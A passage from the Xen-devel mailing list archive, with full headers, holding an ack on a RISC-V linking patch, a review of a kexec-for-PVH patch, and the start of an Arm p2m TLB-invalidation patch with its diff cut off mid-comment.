 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a5f2113-b4ea-0a2a45070019-d155dd35d448-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:34:43 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-47f7444576cso1426335f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 00:34:43 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63e52aa4sm37467979f8f.10.2026.07.21.00.34.41
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 00:34:42 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784619283; x=1785224083; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=hZtwM6RKiMRrR18C9+SKjFHRz4Nyvpd6dBjw1+VDMBA=;
        b=og2aDp2FJzE5QYpcFwoGC1HrinU/2S2djfvFyBJ/WdU8X3DGW1wb+HsOpecYz7S+ic
         XNW1r2t56nX6tJ2dr2NcPDZtbJk+xL4W+cFRqGvh253b+ax8dKJ7ha4j5ONQOGswlGrv
         b4QcmEYIeHclL5VOW+Vi5yjOkpgTlH7l1lH5rkDWpm1TecQ6hda+OglnF8szKJNg7ROT
         jdmnaaTQ6eLnA0zsfJ6vP+pfzGH2UIXOggWzkOBL1Mmp5IhaOnDJngoDGfOw7mDnw6fj
         PWlyvgGrtCZWyKYp3ttD0VLPngFu8PWk0l5WNG7llx+TtLgUU+/gBb7xVLVRmcmq0/Bw
         Ky3A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784619283; x=1785224083;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=hZtwM6RKiMRrR18C9+SKjFHRz4Nyvpd6dBjw1+VDMBA=;
        b=m6116wenWJM48mop4RArNDHVTkq3R53PnFeV7bo5bZz/Y6DbwUbLDoadO7b5s9cuSh
         1SvvGtoeef3UuUIakuELTYNpFVvCyKzsnjpxWWMY/uueaMtEuhpE/slvWSfeQ3iXxXk/
         2xfrjWD+KoJcTojHUWOl1ZaS9nhn1dX3F/LTWnQ22CHlhaSoPI0TS4JB601Z4wacgC/y
         xxfN+EkzNefveFzACwPIpbAVmQ1+uUNxTS1/vFX0kko8Jy09JtQoFRjFUvxG/qBl6hqT
         n01pWPR7f6zUPq6N8pwiDEx7MaskD5wAlG5uWfc0ycrDjqPDa7OqjQ6J2iDqiBYAmBBM
         C2/A==
X-Forwarded-Encrypted: i=1; AHgh+Rrte9Y5g9FyTXrJ/t+mR8J4Y+16VZtR1XSwHNfDtxZ1KtSJPbgbbYGCwB/FKRXRVYEAbIkMA5YQgto=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxwDoqG7oZwkfQ9HfFfi0z+WWtyKgmxyMzDpnfre2fa6iKbwXFt
	Q60P+DLtCLhRNJYm6LKboSgiM/h9sPiVzJLwiXbT8oXvuJRiTVP5InVj
X-Gm-Gg: AR+sD10rGwXd2ecg3nvL0AwEFYCFDHkdjefqiC45JOs2vnxma3jWMdnvEx48gB8NtH4
	xO7i3/bXMw4hmOja6RZRFDWM+W1GgXjOkxmM8cVK6d4iZg4cphOmIHd7+d7lsKiKDnOfEg2b8KV
	9w7XiJnnbgPhn6dJ937XhzNJ4x6YQyYuzk8kNrDQ4XkPHU/1HGV2FPWWhhaBhCoGubcEgwTefv5
	09m005qllcjtc5Gdj1AdYf1ijNlJF0zxd1P4s02jAi6ML3/xHiBJOWatf9Ea9p7m9RHYWpQ27UK
	hGjR5gJXou3HjUklHCPIqhLwXJBYzKbpuEOPp4iH1Vo8NGU2+yY3XY7xTnIqMZeGpWJ+HGWcjyk
	um7FTpxL1tCMOrVFgbniDi9qkT1pfN09EsDDEdtNzFFG5fsl43teFs5JsSqnvcwgTOnGDMLgZ4I
	ad6m94Yo4uHmNhKZrmSjmJ0wNOFX3y3bfsbhkb0naOPpHTWjs+z6mcetHn
X-Received: by 2002:a05:6000:40cf:b0:472:d154:fac6 with SMTP id ffacd0b85a97d-47f62328243mr21111380f8f.35.1784619282774;
        Tue, 21 Jul 2026 00:34:42 -0700 (PDT)
Message-ID: <643e4582-2a76-4c82-92f2-7aebd420f3ac@gmail.com>
Date: Tue, 21 Jul 2026 09:34:41 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 23/23] xen/riscv: do a 4th linking pass if necessary
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <ff85121d7aea88f5e1e8eec729a11512f22c168c.1784559209.git.oleksii.kurochko@gmail.com>
 <f36c1688-52a5-4dd4-af7e-479dc77d18e1@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <f36c1688-52a5-4dd4-af7e-479dc77d18e1@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1784619283-A6AD8AE4-8A7F70EF/10/73395122804
X-purgate-type: spam
X-purgate-size: 1074



On 7/21/26 9:29 AM, Jan Beulich wrote:
> On 20.07.2026 18:00, Oleksii Kurochko wrote:
>> Embedding the symbol table can shift sections and flip relaxation
>> decisions, changing code size and thus the set of emitted tools/symbols
>> (e.g. gap end markers).  Re-link with a regenerated table when its
>> size differs from the previous pass.
>>
>> This takes the same remedy as commit 35de7285d508 ("Arm: do a 4th
>> linking pass if necessary"), though the underlying cause differs:
>> here no symbol (dis)appears from the ELF symbol table; instead the
>> set of end markers emitted by tools/symbols legitimately changes,
>> because want_symbol_end() depends on code layout, and layout differs
>> between passes due to linker relaxation.
>>
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
> 
> Acked-by: Jan Beulich <jbeulich@suse.com>
> 
> And I think there's no dependency on earlier patches, so this could go
> in pretty much right away?

There is no any dependency and could go earlier then other patches.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 07:42:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 07:42:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367514.1617257 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm57P-0002vO-9r; Tue, 21 Jul 2026 07:42:23 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367514.1617257; Tue, 21 Jul 2026 07:42:23 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm57P-0002vH-6e; Tue, 21 Jul 2026 07:42:23 +0000
Received: by outflank-mailman (input) for mailman id 1367514;
 Tue, 21 Jul 2026 07:42:22 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wm57O-0002vB-AY
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 07:42:22 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm57M-000O3B-M0
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:42:20 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f22c9-5cb7-0a2a0a5109dd-0a2a450aea7c-24
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:42:20 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5f22dc-f2d2-0a2a450a0019-d155dd36d15d-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:42:20 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-471eeac43bfso10209088f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 00:42:20 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f63eddd1csm36619434f8f.29.2026.07.21.00.42.19
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 21 Jul 2026 00:42:19 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784619740; x=1785224540; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=/bPSnGhLS74c5WqUMiNVZrSGFSrv0+clXO3Oe1XhzmA=;
        b=WrcurWAy3gjxOHc03HgF3j1xuyf+9OHYhiSwHI/x6GcuQwHkNt7QvCqkemdPpYGl8q
         xYQ3m+Px4RYH3CpLsItPv6mAMD9LIrOFh6/9aqMBviYRnEdmeni2lYN/8pGoihnY9JFH
         gCwC45LWDqpCc6lvvWgUMrrQHfYuJdbFt05KkPQGOKtgQTnVhSrWoqFGISMfa+ukZCDp
         PoURWhe0XAqS7JbncqcQv3yNFA/rBfqv4BgbzCR2D2wdXSCgcZb8IQrZnIDq29BxBVLs
         c6OkrodfeJSUjpgcvu35KiVWA5plyWlRykHhkfMhoFSVsKOJM5Kj+O/wO3H9dxwUEHm/
         6NAQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784619740; x=1785224540;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=/bPSnGhLS74c5WqUMiNVZrSGFSrv0+clXO3Oe1XhzmA=;
        b=G1ByKhSQDeUBF8PjXSvMVs1CY2dAKHtpA3aQLvn054Q2rnz2iNX10zfyb9HBDADY++
         CDvR2cuB2+lFDalldwBCuBrgbk1zvqnVKsWcjFqF6oYROSwZryG1+8HgKzQbCqhtPilH
         571K20x6SIp2095j7ctyTd7cHqMpWiqKbNHvpZlp1vVIE8TsuCQMFAdSw0tTjnEWgoE1
         GMU2Pe9/utsSF8J0vSJ6UaeRDUm/hAqrB5pSmn8VLuU+Q0O/6hwupv4tTkZFkkR2u0s1
         UbHi5HYWq/eZbDbNrN7kk60dHmpZekQRCc5KbZ43xl05+eMHvtCsZFB7oTm7D5Z4GsFK
         8xzA==
X-Forwarded-Encrypted: i=1; AHgh+RqRx8+FPzTdXtARx7m6kLOxSjtlt+6EVfEK3kUqJlRpzVDgMXL6xdsvAhQNtUoOotgQQkpS/jzRCZI=@lists.xenproject.org
X-Gm-Message-State: AOJu0Ywy79h5LsNVERnEnjbRcdzceyBJmR4ZnNxwBNdcrHgBWLbRYGcD
	3C89GPmn2BbtrtV6Ml+yDv/exBGUe+qn22WWrRsPkSQ209S/sc3AYTkqy6myoF9LjfAqOkDQ4aT
	3+5zIWQ==
X-Gm-Gg: AR+sD11S9/QlPBGbU3OiLUj1YeRxGU0OEnlcMeE9YhVkCIGVybcgzNi/6WniyCG7fBB
	RhJiveqL/FNVDG3UqQfglBz/5MBLyQ7SwO+d6x1KzHzdNUHzkCMyvuGqM8b1JK4vRIS0bAjCX+Z
	Veexcs8q8pHGkzTofEGzTWObz8kDPT794B7zgUenTBZJLGTXWx3n41Dv+UgSUWAFYHxJBkkpMr8
	CZR+k5C7XfsFmbZY5oCuLgHfD0Y6jX0cL3R1TFH13oaNBCEZ9BGrahUyeTsfS5/x7ybESUJCmAI
	p6qyct95dodN4DtgYlfXXphXZsYzaQA15CCvnWBQqwoinbDcZWbHDumMpg3v37rCeGkdAvcumXU
	ay2iZ6JsplLV8CcnIjOXkeND/ERGTHK8PlsjuNQPlBpsMhJh+yDzfjqVnHNLiCv/bpzzBMjsosC
	OSzVhVXogLmIPhp9Bw7dUZbDOSFcWDM13ZB4WO9xuXf+h/jRE4qCLs7kBWXQPhhHq3NA==
X-Received: by 2002:adf:e010:0:10b0:474:cd60:1154 with SMTP id ffacd0b85a97d-47f6232c9c2mr14623250f8f.41.1784619739861;
        Tue, 21 Jul 2026 00:42:19 -0700 (PDT)
Message-ID: <16ce4b19-d94a-4787-aa5f-8319d7cca7b3@suse.com>
Date: Tue, 21 Jul 2026 09:42:18 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH] xen/kexec: Wire up kexec hypercalls for PVH hardware
 domains
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260720185825.2204624-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3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zNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260720185825.2204624-1-andrew.cooper3@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-4011c0/1784619740-51EC2CFC-3D29D0CC/0/0
X-purgate-type: clean
X-purgate-size: 622

On 20.07.2026 20:58, Andrew Cooper wrote:
> Nothing in do_kexec_op() is PV specific.  Plumb in PVH guests too.

Hmm. "Nothing" is a little bold, isn't it? PVH (Dom0 or DomU) in principle have
no notion of machine addresses, yet KEXEC_RANGE_MA_* report such. Similarly
struct xen_kexec_segment and struct xen_kexec_load each have a machine address
field. Presumably these can / should be viewed more like "handles" here? If so
(and preferably with the description extended a little to cover this) ...

> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>

Acked-by: Jan Beulich <jbeulich@suse.com>

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 21 07:55:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 07:55:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367524.1617274 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Jg-0005Ad-GD; Tue, 21 Jul 2026 07:55:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367524.1617274; Tue, 21 Jul 2026 07:55:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5Jg-0005AW-DQ; Tue, 21 Jul 2026 07:55:04 +0000
Received: by outflank-mailman (input) for mailman id 1367524;
 Tue, 21 Jul 2026 07:55:02 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <haseebashraf091@gmail.com>) id 1wm5Je-00050T-KD
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 07:55:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm5Je-00E2ej-0M
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 09:55:02 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <haseebashraf091@gmail.com>)
 id 6a5f25cd-2eae-0a2a0a5409dd-0a2a4506cfb8-22
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:55:01 +0200
Received: from [209.85.128.47] (helo=mail-wm1-f47.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <haseebashraf091@gmail.com>)
 id 6a5f25d5-195a-0a2a45060019-d155802fe909-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 09:55:01 +0200
Received: by mail-wm1-f47.google.com with SMTP id
 5b1f17b1804b1-4955de8797cso10836425e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 00:55:01 -0700 (PDT)
Received: from PKL-HASEEBA-LT.. ([139.135.37.55])
 by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4956537c7desm64018485e9.7.2026.07.21.00.54.58
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Tue, 21 Jul 2026 00:55:00 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784620501; x=1785225301; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=AENZ0AC4KepQ7USLtmlsrEkAPkSmxijOL+eq95NbtDQ=;
        b=eqAyCQUuCR+47NsDk9Z0ZnYjEyrek4v+M7tMLb4dcJqDyRoeNqbJ1kEAlRV6KtvxIl
         rgqDSjRLSwNEO2MrZS8pjqrgKkY6mtXaVPSccc3eQdkVPvcjfaGUj0+KS1h20DCxiXhb
         rfPfoa+ub/cRDnySVblVvY6KaZ/mX5ECYJf5435VHATcTL/vvRE2YLuNS/pvf6LxZnqX
         b2ZuzgUDJSZZL4EemagiFI/DfPSPrRMyqFuLr51SyHc7uFCfqDn8CPq20MC0r/bZ/6EQ
         SABWCmhU6WjiWi+MnVzqpm1gY8+d+zZ9H1WLx5wbRATfpV3oXzHzqI6Yvhb1h7+vsL17
         KDRw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784620501; x=1785225301;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=AENZ0AC4KepQ7USLtmlsrEkAPkSmxijOL+eq95NbtDQ=;
        b=WMJ7t5rODyU0aa5NLPzdUbduxxIbGEz6ePuQ62Xc/Ghk0c8OgDFaYnE1q7wLxoX3oT
         MWGnVH9YhQ1bCk1Beic7tFPVRqctnAYLi4Sj1T8BbId+sDzZEkzl7k223n0X4IsrRa0p
         o+FQBwpnuSfdTVUhcSfIUDG/sq/2oAxzhQCA6tB7dwA7IdaQJIqiuSMpQpaOViHhXpHc
         2YDsZo6XBCb2j5td6H1k77k+7MRKYfiwislSN87PF1QyHsfCv8aKhISYK3NItX/8joL7
         3Ar7US6t5WuVM41Q1hOC6pSDj9VfABNTXJ9Zynaa9r+FjhH2tWS1oNaGiYAVSwzfUG2f
         pTeQ==
X-Gm-Message-State: AOJu0YydB/uBZ1B9oP9jSBccabQa0A9oOU4A+dtVKFgZaSNJwGeFzFTz
	uA5sWEtMX9tdRYm4WC9mamllmE7hd5Or9c09CxrUcdf3malLGhPRvDcgLI+40rne
X-Gm-Gg: AfdE7cmKWt+rYKjFJhEZU78yfLyOOqg1eT4teEZcELUH+TeqMxaALJXZZwi/5ULKH/O
	5M74ww32D4oqfsQ404/qO7WWk/vXLJXhAGDLe4fzSHwX5sUWTTaJh16HJRWfDgHjBlntZ+a+s6e
	E+cYs8JuN6apqhbUvXrkqcv0ynKfQb3gHGkN+a2M7/4tKTsaujWLJXCDIB4Gb/XCNaAB9TkjGT0
	uFE6AdCuWJFagqg00loXjWOeNezt6t0dmOFT2WbyrQycoC5MvzdDPKEkTosZ7gMULe0hjUSRyrR
	9O6l1tjEjACfGbVnGod4AUfbZnHkJmFlxpxmdrgvaME/S0vuJZyj51V5Unv+MR46QWSQ3pLkNYR
	z4YuxDZ6jYWPv2rpcxbzOe9rl34OVWkxb39MC/cV85teb+de62y6J8DnYf81YyrFzCZHYL00fmn
	WTw9mbFNbXQZQY3D5EZMFTbnaie6dW+o+Ezy1QF+v9HNc=
X-Received: by 2002:a7b:c054:0:b0:495:5172:661f with SMTP id 5b1f17b1804b1-49551726896mr103037815e9.19.1784620501056;
        Tue, 21 Jul 2026 00:55:01 -0700 (PDT)
From: Haseeb Ashraf <haseebashraf091@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: haseeb.ashraf@siemens.com,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
Subject: [XEN][RESEND][PATCH 1/3] xen/arm/p2m: perform IPA-based TLBI when IPA is known
Date: Tue, 21 Jul 2026 12:54:49 +0500
Message-ID: <e933703bf76cbc33e5d05a023900389fd6a9f925.1784619778.git.haseeb.ashraf@siemens.com>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <cover.1765197209.git.haseeb.ashraf@siemens.com>
References: <cover.1765197209.git.haseeb.ashraf@siemens.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1784620501-F580D77B-F0D363E8/0/0
X-purgate-type: clean
X-purgate-size: 14776

From: Haseeb Ashraf <haseeb.ashraf@siemens.com>

Running Xen as an L1 hypervisor on KVM exposes the high cost of
emulating VMALLS12E1IS, especially when it is issued repeatedly.

Two p2m-related paths are particularly affected:

  (a) vCPU migration on a pCPU, where the flush is intended to avoid
      stage-1 translations associated with one vCPU leaking into
      another, even though the effective stage-2 translation regime is
      shared at the domain p2m level.

  (b) p2m updates where the affected IPA range is known, for example
      when XENMEM_remove_from_physmap removes mappings one page at a
      time.

Address both cases by narrowing the invalidation where possible.

For the vCPU migration case, replace the combined guest flush with a
stage-1-only invalidation. This preserves the required separation
between per-vCPU stage-1 translations while avoiding unnecessary
stage-2 invalidation.

For p2m updates where the affected IPA range is known, invalidate by
IPA range instead of always flushing the whole guest TLB. Since the
Arm64 TLBI-by-IPA sequence loops per page, cap the range at an
empirically chosen threshold and fall back to the full guest flush
above that point.

On Graviton4 running Xen-on-KVM, the cost of a full guest TLBI was
measured to be roughly comparable to tens of thousands of single-page
IPA invalidations, so a 256MB threshold is used as a practical cutoff.

On Arm32 this patch keeps the conservative full-flush behaviour for the
IPA-range helper. Follow-up patches will refine that path further.

Suggested-by: Julien Grall <julien@xen.org>
Signed-off-by: Haseeb Ashraf <haseeb.ashraf@siemens.com>

Changes in v4:
- Reworked the Arm64 IPA-based TLBI sequence to make completion of the
  broadcast TLBI explicit instead of relying on a stage-1 helper for
  the final barriers/workaround.
- Reused __tlb_repeat_sync() for the repeat-TLBI workaround handling.
- Added a small robustness check in p2m_force_tlb_flush_range_sync().
- Refined comments and commit message wording.

Changes in v3:
- Updated IPA-based TLBI sequence to apply ARM64 repeat TLBI
  workaround to only final TLBI and DSB of the sequence.
- Removed TLB_HELPER_IPA and instead directly used the TLBI
  instruction where needed as that was the only instance where it is
  being used.
- Removed flush_guest_tlb_range_ipa_local() as it was not being used.
- Updated comments as per feedback in v2 about holding lock before
  p2m_load_vttbr.
- Updated references of ARM ARM to use newer version DDI 0487L.b
  instead of older version DDI 0487A.e.

Changes in v2:
- This commit implements the baseline implementation to address the
  problem at hand. Removed the FEAT_nTLBPA implementation from this
  commit which will be implemented in following commit using CPU
  capability.
- Moved ARM32 and ARM64 specific implementations of TLBIs to
  architecture specific flushtlb.h.
- Added references of ARM ARM in code comments.
- Evaluated and added a threshold to select between IPA-based TLB
  invalidation vs fallback to full stage TLB invalidation above
  the threshold.
---
 xen/arch/arm/include/asm/arm32/flushtlb.h |  53 +++++++++++
 xen/arch/arm/include/asm/arm64/flushtlb.h |  62 +++++++++++++
 xen/arch/arm/include/asm/mmu/p2m.h        |   2 +
 xen/arch/arm/mmu/p2m.c                    | 105 ++++++++++++++++------
 4 files changed, 195 insertions(+), 27 deletions(-)

diff --git a/xen/arch/arm/include/asm/arm32/flushtlb.h b/xen/arch/arm/include/asm/arm32/flushtlb.h
index 5483be08fb..1497f16ba5 100644
--- a/xen/arch/arm/include/asm/arm32/flushtlb.h
+++ b/xen/arch/arm/include/asm/arm32/flushtlb.h
@@ -45,6 +45,43 @@ TLB_HELPER(flush_xen_tlb_local, TLBIALLH, nsh)
 
 #undef TLB_HELPER
 
+/*
+ * Flush TLB of local processor. Use when flush for only stage-1 is intended.
+ *
+ * The following function should be used where intention is to clear only
+ * stage-1 TLBs. This would be helpful in future in identifying which stage-1
+ * TLB flushes can be skipped such as in present of FEAT_nTLBPA.
+ */
+static inline void flush_guest_tlb_s1_local(void)
+{
+    /*
+     * Same instruction can invalidate both stage-1 and stage-2 TLBs depending
+     * upon the execution context.
+     *
